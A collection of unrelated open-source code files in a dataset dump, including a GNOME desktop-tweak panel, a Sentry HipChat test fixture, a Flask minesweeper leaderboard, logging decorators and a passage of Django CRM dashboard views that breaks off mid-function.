'3.0')\n gi.require_version('Gio', '2.0')\n gi.require_version('Handy', '0.0')\nexcept Exception as e:\n print(e)\n exit(1)\nfrom gi.repository import Gtk\nfrom gi.repository import Gio\nfrom gi.repository import Handy\nimport os\nimport json\nimport mimetypes\nimport urllib\nimport comun\nfrom comun import _\nfrom sidewidget import SideWidget\nfrom utils import get_desktop_environment\nfrom settings import SettingRow\nfrom utils import variant_to_value, select_value_in_combo\nfrom utils import get_selected_value_in_combo\n\n\nclass TweakDesktop(Gtk.Overlay):\n\n def __init__(self):\n Gtk.Overlay.__init__(self)\n self.__set_ui()\n\n def __set_ui(self):\n handycolumn = Handy.Column()\n handycolumn.set_maximum_width(700)\n handycolumn.set_margin_top(24)\n self.add(handycolumn)\n\n box = Gtk.Box.new(Gtk.Orientation.VERTICAL, 5)\n handycolumn.add(box)\n\n label0 = Gtk.Label(_('Custom desktop'))\n label0.set_name('special')\n label0.set_alignment(0, 0.5)\n box.add(label0)\n\n listbox0 = Gtk.ListBox()\n box.add(listbox0)\n\n self.options = {}\n for index in range(0, 2):\n self.options[index] = Gtk.Switch()\n self.options[index].set_valign(Gtk.Align.CENTER)\n\n icon_size = Gtk.ListStore(str, str)\n icon_size.append([_('Small'), 'small'])\n icon_size.append([_('Standard'), 'standard'])\n icon_size.append([_('Large'), 'large'])\n\n self.options['icon-size'] = Gtk.ComboBox.new()\n self.options['icon-size'].set_model(icon_size)\n cell1 = Gtk.CellRendererText()\n self.options['icon-size'].pack_start(cell1, True)\n self.options['icon-size'].add_attribute(cell1, 'text', 0)\n\n listbox0.add(SettingRow(_('Icon size'),\n _('Set the icon size on the desktop.'),\n self.options['icon-size']))\n\n listbox0.add(SettingRow(_('Hide home'),\n _('Hide your user folder.'),\n self.options[0]))\n\n listbox0.add(SettingRow(_('Hide trash'),\n _('Hide the trash folder.'),\n self.options[1]))\n\n label1 = Gtk.Label(_('Calendar'))\n label1.set_name('special')\n label1.set_alignment(0, 0.5)\n box.add(label1)\n\n listbox1 = Gtk.ListBox()\n box.add(listbox1)\n\n for index in range(2, 6):\n self.options[index] = Gtk.Switch()\n self.options[index].set_valign(Gtk.Align.CENTER)\n\n listbox1.add(SettingRow(_('Show week number'),\n _('Show week number in calendar.'),\n self.options[2]))\n\n listbox1.add(SettingRow(_('Hide date'),\n _('Hide date in the watch'),\n self.options[3]))\n\n listbox1.add(SettingRow(_('Show seconds'),\n _('Show seconds in the watch'),\n self.options[4]))\n\n listbox1.add(SettingRow(_('Show weekday'),\n _('Show weekday in the watch'),\n self.options[5]))\n\n label2 = Gtk.Label(_('Battery'))\n label2.set_name('special')\n label2.set_alignment(0, 0.5)\n box.add(label2)\n\n listbox2 = Gtk.ListBox()\n box.add(listbox2)\n\n self.options[6] = Gtk.Switch()\n self.options[6].set_valign(Gtk.Align.CENTER)\n\n listbox2.add(SettingRow(_('Show battery percentage'),\n _('Show battery percentage.'),\n self.options[6]))\n\n label3 = Gtk.Label(_('Experimental'))\n label3.set_name('special')\n label3.set_alignment(0, 0.5)\n box.add(label3)\n\n listbox3 = Gtk.ListBox()\n box.add(listbox3)\n\n self.options[7] = Gtk.Switch()\n self.options[7].set_valign(Gtk.Align.CENTER)\n\n listbox3.add(SettingRow(_('Enable HiDPI Fractional Scaling'),\n _('Enable experimenal HiDPI Fractional \\\nScaling.'),\n self.options[7]))\n\n self.__load_default_states()\n\n def update(self):\n self.__load_default_states()\n\n def __load_default_states(self):\n settings = Gio.Settings.new(\n 'org.gnome.shell.extensions.desktop-icons')\n\n icon_size = variant_to_value(\n settings.get_user_value('icon-size'))\n if icon_size is None:\n select_value_in_combo(self.options['icon-size'], 'small')\n else:\n select_value_in_combo(self.options['icon-size'], icon_size)\n\n self.options[0].set_state(variant_to_value(\n settings.get_user_value('show-home')) is False)\n self.options[1].set_state(variant_to_value(\n settings.get_user_value('show-trash')) is False)\n\n settings = Gio.Settings.new(\n 'org.gnome.desktop.calendar')\n\n self.options[2].set_state(variant_to_value(\n settings.get_user_value('show-weekdate')) is True)\n\n settings = Gio.Settings.new(\n 'org.gnome.desktop.interface')\n\n self.options[3].set_state(variant_to_value(\n settings.get_user_value('clock-show-date')) is False)\n\n self.options[4].set_state(variant_to_value(\n settings.get_user_value('clock-show-seconds')) is True)\n\n self.options[5].set_state(variant_to_value(\n settings.get_user_value('clock-show-weekday')) is True)\n\n self.options[6].set_state(variant_to_value(\n settings.get_user_value('show-battery-percentage')) is True)\n\n settings = Gio.Settings.new(\n 'org.gnome.mutter')\n self.options[7].set_state(variant_to_value(\n settings.get_user_value('experimental-features')) is not None)\n\n def set_selected(self):\n settings = Gio.Settings.new(\n 'org.gnome.shell.extensions.desktop-icons')\n\n icon_size = get_selected_value_in_combo(\n self.options['icon-size'])\n if icon_size == 'small':\n settings.reset('icon-size')\n else:\n settings.set_string('icon-size', icon_size)\n if self.options[0].get_active() is True:\n settings.set_boolean('show-home', False)\n else:\n settings.reset('show-home')\n if self.options[1].get_active() is True:\n settings.set_boolean('show-trash', False)\n else:\n settings.reset('show-trash')\n\n settings = Gio.Settings.new(\n 'org.gnome.desktop.calendar')\n\n if self.options[2].get_active() is True:\n settings.set_boolean('show-weekdate', True)\n else:\n settings.reset('show-weekdate')\n\n settings = Gio.Settings.new(\n 'org.gnome.desktop.interface')\n if self.options[3].get_active() is True:\n settings.set_boolean('clock-show-date', False)\n else:\n settings.reset('clock-show-date')\n if self.options[4].get_active() is True:\n settings.set_boolean('clock-show-seconds', True)\n else:\n settings.reset('clock-show-seconds')\n if self.options[5].get_active() is True:\n settings.set_boolean('clock-show-weekday', True)\n else:\n settings.reset('clock-show-weekday')\n if self.options[6].get_active() is True:\n settings.set_boolean('show-battery-percentage', True)\n else:\n settings.reset('show-battery-percentage')\n\n settings = Gio.Settings.new(\n 'org.gnome.mutter')\n if self.options[7].get_active() is True:\n if os.environ.get('XDG_SESSION_TYPE') == 'x11':\n settings.set_strv('experimental-features',\n ['x11-randr-fractional-scaling'])\n else:\n settings.set_strv('experimental-features',\n ['scale-monitor-framebuffer'])\n else:\n settings.reset('experimental-features')\n","repo_name":"atareao/ubuntu-first-steps","sub_path":"src/tweak_desktop.py","file_name":"tweak_desktop.py","file_ext":"py","file_size_in_byte":8161,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"21"} +{"seq_id":"36243204212","text":"from __future__ import absolute_import\n\nimport six\n\nfrom random import randint\nfrom uuid import uuid4\n\nfrom sentry_plugins.hipchat_ac.models import Tenant\n\n\nCAPDOC_EXAMPLE = {\n 'vendor': {\n 'url': 'http://atlassian.com',\n 'name': 'Atlassian',\n },\n 'name': 'HipChat',\n 'links': {\n 'self': 'https://api.hipchat.com/v2/capabilities',\n 'api': 'https://api.hipchat.com/v2',\n 'homepage': 'https://www.hipchat.com',\n 'subdomain': 'https://www.hipchat.com',\n },\n 'capabilities': {\n 'oauth2Provider': {\n 'tokenUrl': 'https://api.hipchat.com/v2/oauth/token',\n 'authorizationUrl': 'https://www.hipchat.com/users/authorize',\n },\n 'hipchatApiProvider': {\n 'url': 'https://api.hipchat.com/v2/',\n 'availableScopes': {\n 'admin_room': {\n 'description': 'Perform room administrative tasks',\n 'name': 'Administer Room',\n 'id': 'admin_room',\n },\n 'manage_rooms': {\n 'description': 'Create, update, and remove rooms',\n 'name': 'Manage Rooms',\n 'id': 'manage_rooms'\n },\n 'import_data': {\n 'description': 'Import users, rooms, and chat history. Only available for select add-ons.',\n 'name': 'Import Data',\n 'id': 'import_data',\n },\n 'view_room': {\n 'description': 'View room information and participants, but not history',\n 'name': 'View Room',\n 'id': 'view_room',\n },\n 'send_message': {\n 'description': 'Send private one-on-one messages',\n 'name': 'Send Message',\n 'id': 'send_message',\n },\n 'view_messages': {\n 'description': 'View messages from chat rooms and private chats you have access to',\n 'name': 'View Messages',\n 'id': 'view_messages'\n },\n 'admin_group': {\n 'description': \"Perform group administrative tasks. Note that this scope is restricted from updating the group owner's profile.\",\n 'name': 'Administer Group',\n 'id': 'admin_group',\n },\n 'send_notification': {\n 'description': 'Send room notifications',\n 'name': 'Send Notification',\n 'id': 'send_notification',\n },\n 'view_group': {\n 'description': 'View users, rooms, and other group information',\n 'name': 'View Group',\n 'id': 'view_group',\n },\n },\n },\n },\n 'connect_server_api_version': 1,\n 'key': 'hipchat',\n 'description': 'Group chat and IM built for teams',\n}\n\n\nclass HipchatFixture(object):\n def create_tenant(self, id=None, room_id=None, secret=None, auth_user=None,\n projects=None):\n tenant = Tenant.objects.create(\n id=id or six.text_type(randint(0, 10000000)),\n room_id=room_id or six.text_type(randint(0, 10000000)),\n secret=secret or uuid4().hex,\n capdoc=CAPDOC_EXAMPLE,\n )\n if auth_user:\n tenant.update(auth_user=auth_user)\n if projects:\n for project in projects:\n tenant.projects.add(project)\n tenant.organizations.add(project.organization)\n return tenant\n","repo_name":"Mattlk13/sentry","sub_path":"src/sentry_plugins/hipchat_ac/testutils.py","file_name":"testutils.py","file_ext":"py","file_size_in_byte":3710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13273027984","text":"from django.contrib.auth.decorators import login_required\nfrom django.urls import path\n\nfrom client_module.views import ClientView, ClientSettingsView, AbandonCourse, CalendarView, ReportAbsenceView, \\\n CoursePageViews\nfrom employee_module.urls import login_url\n\n\napp_name = 'client_module'\nurlpatterns = [\n path('', login_required(ClientView.as_view(), login_url=login_url), name='user_view'),\n path('settings/', login_required(ClientSettingsView.as_view(), login_url=login_url), name='user_settings_view'),\n path('abandon/', login_required(AbandonCourse, login_url=login_url), name='abandon_course_view'),\n path('calendar/', login_required(CalendarView.as_view(), login_url=login_url), name='calendar_view'),\n path('report_absence/', login_required(ReportAbsenceView.as_view(), login_url=login_url),\n name='report_absence_view'),\n path('certain_course//', login_required(CoursePageViews.as_view(), login_url=login_url),\n name='course_page_view'),\n]\n","repo_name":"MBocian96/ITAPP_ODD_WED0730_dance_school_manager","sub_path":"dance_school_manager/client_module/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21293897820","text":"def findRes(beamsize, distance):\n \"\"\"\n Calculate resolution of a map given beamsize and distance to galaxy. \n\n Parameters\n ----------\n beamsize : float\n beamsize of array in degrees\n distance : float\n distance to galaxy in Mpc\n \n Returns\n -------\n resolution : float\n resolution of map in pc\n \"\"\"\n import numpy as np\n beamRad = beamsize * np.pi / 180.0\n resolution = np.sin(beamRad/2.0) * distance * 10**6 * 2.0\n return(resolution)","repo_name":"NessMayker/PythonFunctions","sub_path":"findResolution.py","file_name":"findResolution.py","file_ext":"py","file_size_in_byte":501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20482241521","text":"from PyQt5.QtCore import pyqtSignal, Qt\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtWidgets import QCheckBox, QApplication, QDialog, QLabel\n\n\nclass QLabelClickable(QLabel):\n clicked = pyqtSignal()\n\n def __init__(self):\n pass\n\n def mousePressEvent(self, event):\n self.clicked.emit()\n\n class recuperarImagen(QDialog):\n def __init__(self):\n self.setWindowTitle(\"Registro de Clientes - SIAC\")\n self.setWindowIcon(QIcon(\"siac.ico\"))\n self.setWindowFlags(Qt.WindowCloseButtonHint | Qt.MSWindowsFixedSizeDialogHint)\n self.setFixedSize(1000, 900)\n\n self.initUI()\n\n\n\nif __name__ == '__main__':\n import sys\n\n aplicacion = QApplication(sys.argv)\n\n ventana = recuperarImagen()\n ventana.show()\n\n sys.exit(aplicacion.exec_())\n","repo_name":"InZaynGT/ProyectoSIAC","sub_path":"prueba.py","file_name":"prueba.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"696645833","text":"from flask import Flask, render_template, request, redirect\nfrom sql import DB\nimport os\n# forced to declare app before hand for decorators in the class to work\napp = Flask(__name__)\n\n\nclass Webserver:\n def __init__(self):\n '''\n a webserver object for the minesweeper projects, takes http request and spits out some DOMs in their direction.\n '''\n self.app = Flask(__name__)\n\n def run(self):\n '''\n methode that starts up the main flask webserver and initialises the database, therefore locking up the main database from other users too\n '''\n # necessary paths for the database\n base_dir = os.path.dirname(os.path.abspath(__file__))\n db_path = os.path.join(base_dir, \"vault_13.db\")\n\n # starting up the database\n global DB\n DB = DB(db_path)\n DB.create_connection()\n\n # starts serving http requests\n app.run(debug=True)\n\n # if the users asks for no page at all\n @app.route('/', methods=['POST', 'GET'])\n def index() -> render_template:\n '''\n if the user asks for no page it will redirect to the minesweeper page\n '''\n if request.method == 'POST': # the user has posted a form\n print(DB.find_values(str(request.form)[33:-4])[0])\n if DB.find_values(str(request.form)[\n 33:-4])[0] in list(DB.retrieve_all_from_db()):\n print(\"Name already in the database, updating the value\", DB.find_values(\n str(request.form)[33:-4])[0], DB.find_values(str(request.form)[33:-4])[1])\n DB.update_value(DB.find_values(str(request.form)[\n 33:-4])[0], DB.find_values(str(request.form)[33:-4])[1])\n else:\n print(\"user not in the database, adding them in\")\n DB.insert_into_db(request.form)\n # automatically redirects to the minesweeper page\n return redirect(request.url)\n else:\n return render_template(\n \"index.html\", scores=LeaderBoard(\n DB.retrieve_all_from_db()).get_scores())\n\n @app.route(\"/index.html\", methods=['POST', 'GET'])\n def index2() -> render_template:\n '''\n the home page, also checks for form entries for posting to the database\n '''\n if request.method == 'POST': # the user has posted a form\n print(DB.find_values(str(request.form)[33:-4])[0])\n if DB.find_values(str(request.form)[\n 33:-4])[0] in list(DB.retrieve_all_from_db()):\n print(\"Name already in the database, updating the value\", DB.find_values(\n str(request.form)[33:-4])[0], DB.find_values(str(request.form)[33:-4])[1])\n DB.update_value(DB.find_values(str(request.form)[\n 33:-4])[0], DB.find_values(str(request.form)[33:-4])[1])\n else:\n print(\"user not in the database, adding them in\")\n DB.insert_into_db(request.form)\n # automatically redirects to the minesweeper page\n return redirect(request.url)\n else:\n return render_template(\n \"index.html\", scores=LeaderBoard(\n DB.retrieve_all_from_db()).get_scores())\n\n @app.route(\"/destroy\")\n def destroy() -> None:\n '''\n when a user asks for this url it destroys everthing in the database\n '''\n DB.delete_all_from_db()\n return \"You destroyed it all\"\n\n\nclass Score:\n\n def __init__(self, name: str, time: str) -> None:\n \"\"\"\n Python Object used as a sub-class of LeaderBoard\n \"\"\"\n self.playerName = name\n self.score = time\n\n\nclass LeaderBoard:\n\n def __init__(self, DBscores: dict) -> None:\n '''\n Python Object used for storing tons of scores\n '''\n self.scores = []\n for item in DBscores:\n self.scores.append([item, DBscores[item]])\n\n def get_scores(self) -> list:\n \"\"\"\n returns the scores that were stored in the database in the form of a list of dictionary objects\n \"\"\"\n if len(self.scores) == 0:\n self.scores.append([\"leaderboard\" , \"empty\"])\n return self.scores\n","repo_name":"Gorfs/NSI-sweeper","sub_path":"webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":4311,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"74547631412","text":"class TreeNode:\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n self.hd = 0 # Horizontal distance\n\ndef bottomView(root):\n if not root:\n return []\n\n hd_dict = {} # Dictionary to store nodes at each horizontal distance\n queue = [(root, 0)] # (node, horizontal distance)\n\n while queue:\n node, hd = queue.pop(0)\n hd_dict[hd] = node.val # Update the dictionary with the latest node at this horizontal distance\n\n if node.left:\n node.left.hd = hd - 1\n queue.append((node.left, hd - 1))\n\n if node.right:\n node.right.hd = hd + 1\n queue.append((node.right, hd + 1))\n\n # Extract the values from the dictionary to get the bottom view\n bottom_view = [hd_dict[hd] for hd in sorted(hd_dict)]\n return bottom_view\n\n# Example usage:\nif __name__ == \"__main__\":\n # Build the example binary tree\n root = TreeNode(5)\n root.left = TreeNode(3)\n root.right = TreeNode(7)\n root.left.left = TreeNode(1)\n root.left.right = TreeNode(4)\n root.right.left = TreeNode(6)\n root.right.right = TreeNode(9)\n root.left.left.left = TreeNode(0)\n root.right.right.left = TreeNode(8)\n\n result = bottomView(root)\n print(result) # Output: [0, 1, 3, 6, 8, 9]\n","repo_name":"Shivkisku/Python_adv","sub_path":"bottom_view_of_binary_tree.py","file_name":"bottom_view_of_binary_tree.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38787000016","text":"import logging\nimport socket\nimport sys\n\nfrom chatclient.сhatclient.Mainlib.variables import ACTION, PRESENCE\n\nif sys.argv[0].find('client') == -1:\n\t# если не клиент то сервер!\n\tserver_log = logging.getLogger('server-log')\n\tprint(server_log.getEffectiveLevel())\nelse:\n\tclient_log = logging.getLogger('client-log')\n\tprint(client_log.getEffectiveLevel())\n\n\ndef log(func_to_log):\n\t\"\"\"\n\tA decorator that logs function calls.\n Saves events containing\n information about the name of the called function, the parameters with which\n the function is called, and the module is calling the function.\n \"\"\"\n\t\n\tdef log_saver(*args, **kwargs):\n\t\tret = func_to_log(*args, **kwargs)\n\t\tclient_log.debug(f'Была вызвана функция {func_to_log.__name__} c параметрами {args}, {kwargs}. '\n\t\t\t\t\t\t f'Вызов из модуля {func_to_log.__module__}')\n\t\treturn ret\n\t\n\treturn log_saver\n\n\ndef login_required(func):\n\t\"\"\"\n\tA decorator that verifies that the client is authorized on the server.\n\tChecks that the passed socket object is in\n\tthe list of authorized clients.\n\tExcept for passing the dictionary-query\n\tfor authorization. If the client is not authorized,\n\tthrows a TypeError exception\n\t\"\"\"\n\t\n\tdef checker(*args, **kwargs):\n\t\t# проверяем, что первый аргумент - экземпляр MessageProcessor\n\t\t# Импортить необходимо тут, иначе ошибка рекурсивного импорта.\n\t\tfrom chatserver.сhatserver.server.server_core import MessageProcessor\n\t\tif isinstance(args[0], MessageProcessor):\n\t\t\tfound = False\n\t\t\tfor arg in args:\n\t\t\t\tif isinstance(arg, socket.socket):\n\t\t\t\t\t# Проверяем, что данный сокет есть в списке names класса\n\t\t\t\t\t# MessageProcessor\n\t\t\t\t\tfor client in args[0].names:\n\t\t\t\t\t\tif args[0].names[client] == arg:\n\t\t\t\t\t\t\tfound = True\n\t\t\t\n\t\t\t# Теперь надо проверить, что передаваемые аргументы не presence\n\t\t\t# сообщение. Если presense, то разрешаем\n\t\t\tfor arg in args:\n\t\t\t\tif isinstance(arg, dict):\n\t\t\t\t\tif ACTION in arg and arg[ACTION] == PRESENCE:\n\t\t\t\t\t\tfound = True\n\t\t\t# Если не не авторизован и не сообщение начала авторизации, то\n\t\t\t# вызываем исключение.\n\t\t\tif not found:\n\t\t\t\traise TypeError\n\t\treturn func(*args, **kwargs)\n\t\n\treturn checker\n","repo_name":"nikolaeff80/GB_Learn_Chat","sub_path":"сhatclient/Log/Log_decorators.py","file_name":"Log_decorators.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74733376693","text":"from typing import Dict\n\nimport numpy as np\n\nfrom oremda.api import operator\nfrom oremda.typing import JSONType, PortKey, RawPort\n\nimport peakFind # type: ignore\n\n\n@operator\ndef lattice_find(\n inputs: Dict[PortKey, RawPort], parameters: JSONType\n) -> Dict[PortKey, RawPort]:\n image = inputs[\"image\"].data\n peaks = inputs[\"peaks\"].data\n\n if image is None or peaks is None:\n raise Exception('Data is missing from the \"in\" port')\n\n p0 = peaks\n\n # Find the center atom\n cMid = image.shape[0] / 2\n modelRR = np.sqrt(\n np.sum((p0 - cMid) ** 2, axis=1)\n ) # Distances from middle of particle\n centerAtom = modelRR.argmin() # Minimum distance from NP middle\n\n # Input starting guess at vectors\n origin0 = p0[centerAtom, :].copy()\n pA = (289, 290) # point A; input as (y, x) from matplotlib plot\n pB = (288, 215) # point B; input as (y, x) from matplotlb plot\n fraction = (1, 1) # used if unit cell contains atoms not at the corners\n num_unit_cells = (\n 4,\n 4,\n ) # used if u0 and v0 are loner than 1 unit cell (more accurate)\n\n # Calculte the initial u0 and v0\n u0 = [pA[0] - origin0[0], pA[1] - origin0[1]]\n v0 = [pB[0] - origin0[0], pB[1] - origin0[1]]\n\n origin, u, v, ab = peakFind.refineLattice2D(\n origin0,\n u0,\n v0,\n p0,\n refine_locally=True,\n fraction=fraction,\n num_unit_cells=num_unit_cells,\n )\n\n uv = np.asarray((u, v))\n ab_nearest = np.dot(p0 - origin, np.linalg.inv(uv))\n lattice = np.dot(np.round(ab_nearest), uv) + origin\n\n outputs = {\n \"origin\": RawPort(data=origin),\n \"u\": RawPort(data=u),\n \"v\": RawPort(data=v),\n \"lattice\": RawPort(data=lattice),\n }\n\n return outputs\n","repo_name":"OpenChemistry/oremda","sub_path":"operators/lattice_find/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1772,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"6760428185","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom datetime import date, datetime, time, timedelta\nfrom django.contrib.auth.decorators import login_required\nfrom django.conf import settings\nfrom django.core.files.storage import FileSystemStorage\nimport json, os, ast\nfrom django.db.models import Q\nfrom next_crm.models import Sale_order, Email_reminder, ContactTab, EmailSendDate, Company, Customer_invoice, Profile, \\\n EmailTemplate, AttachDocument, Sale_order_record, Contact, ContactFieldsValue, Product, Product_unit_of_measure, \\\n Product_taxes, Quotation_template, Quotation_template_record, Payment_term, Term, Delivery_method, Opportunity\nfrom django.contrib.auth.models import User\nfrom django.core.mail import EmailMultiAlternatives\nfrom dateutil.relativedelta import relativedelta\nimport time, csv, calendar\nfrom django.template.loader import render_to_string\nfrom django.db.models import Sum\nfrom next_crm.helper.contact import contact_change_status, test_validate_email\nfrom django.views.decorators.csrf import csrf_exempt\nfrom next_crm.views.CustomerInvoice import display_tax_calculation\nfrom next_crm.helper.utils import Utils\nfrom next_crm.helper.company import get_currency_name, format_date\nfrom next_crm.views.General import save_message, message_create_for_create_action\n\ncustomers_objs = [{\"name\": \"Delta Pc\", \"id\": 1, \"email\": \"example1@gmail.com\"},\n {\"name\": \"Orman GT\", \"id\": 2, \"email\": \"example2@gmail.com\"},\n {\"name\": \"Pecho Dy\", \"id\": 3, \"email\": \"example3@gmail.com\"}]\n\n\n@login_required(login_url=\"/login/\")\ndef list(request, id=''):\n return render(request, 'web/app.html')\n\n\n@login_required(login_url=\"/login/\")\ndef dashboardData(request):\n data = {}\n company_id = request.user.profile.company_id\n quatation_list = []\n salers_list = []\n Customer_list = []\n datewise = []\n qtotal_amount = 0\n ctotal_amount = 0\n stotal_amount = 0\n csubtotal_amount = 0\n csubtotal_amount_avg = 0\n ctotal_amount_avg = 0\n ctex = 0\n user_obj = request.user\n user_id = user_obj.id\n json_data = json.loads(request.POST['fields'])\n format_data = formatFields(json_data)\n startDate = format_data['startDate']\n endDate = format_data['endDate']\n start_label = format_data['start_label']\n end_label = format_data['end_label']\n chosenlabel = format_data['chosenlabel']\n endDate1 = datetime.strptime(endDate, \"%Y-%m-%d\").date()\n startDate1 = datetime.strptime(startDate, \"%Y-%m-%d\").date()\n intervals = endDate1 - startDate1\n limit = 5\n currency = get_currency_name(company_id)\n quatations_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION',\n created_at__range=[startDate, endDate]).order_by('-id')[:5]\n quatations_objs_length = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION',\n created_at__range=[startDate, endDate])\n length_quatations = len(quatations_objs_length)\n if len(quatations_objs) > 0:\n for o in quatations_objs:\n order_date = None\n\n customer_name = None\n if o.customer_id is not None:\n customer_name = o.customer_name\n\n if o.order_date is not None:\n order_date = o.order_date.strftime('%d-%m-%Y')\n\n status = getQoutationStatus(o.status)\n\n can_remove = False;\n if o.status == 'draft' or o.status == 'cancel':\n can_remove = True\n\n quatation_list.append({'id': o.id,\n 'user_id': o.create_by_user_id,\n 'qt_num': o.name,\n 'order_date': order_date,\n 'customer': customer_name,\n 'sales_person': 'Administrator',\n 'total': o.total_amount,\n 'status': status,\n 'can_remove': can_remove\n })\n if o.total_amount is not None:\n qtotal_amount = qtotal_amount + int(o.total_amount)\n\n salers_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION', status='sale',\n created_at__range=[startDate, endDate]).order_by('-id')[:5]\n salers_objs_length = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION', status='sale',\n created_at__range=[startDate, endDate])\n length_salers = len(salers_objs_length)\n if len(salers_objs) > 0:\n for o in salers_objs:\n order_date = None\n customer_name = None\n if o.customer_id is not None:\n customer_name = o.customer_name\n if o.order_date is not None:\n order_date = o.order_date.strftime('%Y-%m-%d')\n\n can_remove = False;\n if o.status == 'draft' or o.status == 'cancel':\n can_remove = True\n\n status = 'To Invoice'\n Invoicing_objs1 = Customer_invoice.objects.filter(quotation_id=o.id)\n for invoice1 in Invoicing_objs1:\n if invoice1.invoice_status == 'all' or invoice1.invoice_status == 'delivered' or invoice1.invoice_status == 'email':\n status = 'Nothing Invoice'\n\n salers_list.append({'id': o.id,\n 'user_id': o.create_by_user_id,\n 'qt_num': o.name,\n 'order_date': order_date,\n 'customer': customer_name,\n 'sales_person': 'Administrator',\n 'total': o.total_amount,\n 'status': status,\n 'can_remove': can_remove\n })\n if o.total_amount is not None:\n stotal_amount = stotal_amount + int(o.total_amount)\n\n Customer_objs = Customer_invoice.objects.filter(company_id=company_id,\n created_at__range=[startDate, endDate]).order_by('-id')[:5]\n Customer_objs_length = Customer_invoice.objects.filter(company_id=company_id, created_at__range=[startDate, endDate])\n length_Customer = len(Customer_objs_length)\n if len(Customer_objs) > 0:\n for o in Customer_objs:\n invoice_date = None\n due_date = None\n due_dated = 'after'\n email_due_date = ''\n\n if o.invoice_date is not None:\n invoice_date = o.invoice_date.strftime('%d-%m-%Y')\n if o.due_date is not None:\n if date.today() > o.due_date and o.status != 'paid':\n due_dated = 'before'\n else:\n due_dated = 'after'\n\n due_date = o.due_date.strftime('%d-%m-%Y')\n mon_rel = relativedelta(days=5)\n email_du_date = o.due_date - mon_rel\n email_due_date = email_du_date.strftime('%d-%m-%Y')\n\n can_remove = False;\n if o.status == 'draft' or o.status == 'cancel':\n can_remove = True\n\n Customer_list.append({'id': o.id,\n 'customer': o.customer_name,\n 'invoice_date': invoice_date,\n 'invoice_number': o.name,\n 'checkbox_email': o.checkbox_email,\n 'sales_person': user_obj.username,\n 'due_date': due_date,\n 'due_dated': due_dated,\n 'email_due_date': email_due_date,\n 'source_document': o.quotation_name,\n 'total': float(o.total_amount),\n 'amount_due': o.amount_due,\n 'status': o.status,\n 'can_remove': can_remove,\n })\n\n if o.total_amount is not None:\n csubtotal_amount = csubtotal_amount + float(o.subtotal_amount)\n ctotal_amount = ctotal_amount + float(o.total_amount)\n ctex = float(ctotal_amount) - float(csubtotal_amount)\n csubtotal_amount_avg = csubtotal_amount / len(Customer_objs)\n ctotal_amount_avg = ctotal_amount / len(Customer_objs)\n\n data['salers_list'] = salers_list\n data['quatation_list'] = quatation_list\n data['Customer_list'] = Customer_list\n data['ctotal_amount'] = ctotal_amount\n data['csubtotal_amount'] = csubtotal_amount\n data['csubtotal_amount_avg'] = csubtotal_amount_avg\n data['ctex'] = ctex\n data['ctotal_amount_avg'] = ctotal_amount_avg\n data['total_amount'] = qtotal_amount\n data['stotal_amount'] = stotal_amount\n data['currency'] = currency\n data['length_quatations'] = length_quatations\n data['length_salers'] = length_salers\n data['length_Customer'] = length_Customer\n\n return HttpResponse(json.dumps(data), content_type=\"application/json\")\n\n\n@login_required(login_url=\"/login/\")\ndef getChartData(request):\n data = {}\n company_id = request.user.profile.company_id\n quatation_list = []\n salers_list = []\n Customer_list = []\n datewise = []\n qtotal_amount = 0\n ctotal_amount = 0\n stotal_amount = 0\n csubtotal_amount = 0\n csubtotal_amount_avg = 0\n ctotal_amount_avg = 0\n ctex = 0\n user_obj = request.user\n user_id = user_obj.id\n json_data = json.loads(request.POST['fields'])\n format_data = formatFields(json_data)\n startDate = format_data['startDate']\n endDate = format_data['endDate']\n start_label = format_data['start_label']\n end_label = format_data['end_label']\n chosenlabel = format_data['chosenlabel']\n endDate1 = datetime.strptime(endDate, \"%Y-%m-%d\").date()\n startDate1 = datetime.strptime(startDate, \"%Y-%m-%d\").date()\n intervals = endDate1 - startDate1\n limit = 5\n total = 0\n total_amount = 0\n total_list = []\n idate2 = []\n day_name = []\n currency = get_currency_name(company_id)\n\n if chosenlabel == 'Last 7 Days':\n for i in range(intervals.days + 1):\n idate = startDate1 + timedelta(days=i)\n idate1 = str(idate)\n idate3 = calendar.day_name[idate.weekday()]\n idate44 = datetime.strptime(idate1, \"%Y-%m-%d\").date()\n quatations_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION',\n created_at__date=idate1).aggregate(Sum('total_amount'))\n salers_objs = Sale_order.objects.filter(company_id=company_id, module_type='QUOTATION', status='sale',\n created_at__date=idate1).aggregate(Sum('total_amount'))\n Customer_objs = Customer_invoice.objects.filter(company_id=company_id, created_at__date=idate1).aggregate(\n Sum('total_amount'))\n idate2.append(idate1)\n day_name.append(idate3)\n\n if quatations_objs['total_amount__sum'] is not None:\n qtotal_amount_sum = quatations_objs['total_amount__sum']\n else:\n qtotal_amount_sum = 0\n\n if salers_objs['total_amount__sum'] is not None:\n stotal_amount_sum = salers_objs['total_amount__sum']\n else:\n stotal_amount_sum = 0\n\n if Customer_objs['total_amount__sum'] is not None:\n ctotal_amount_sum = Customer_objs['total_amount__sum']\n else:\n 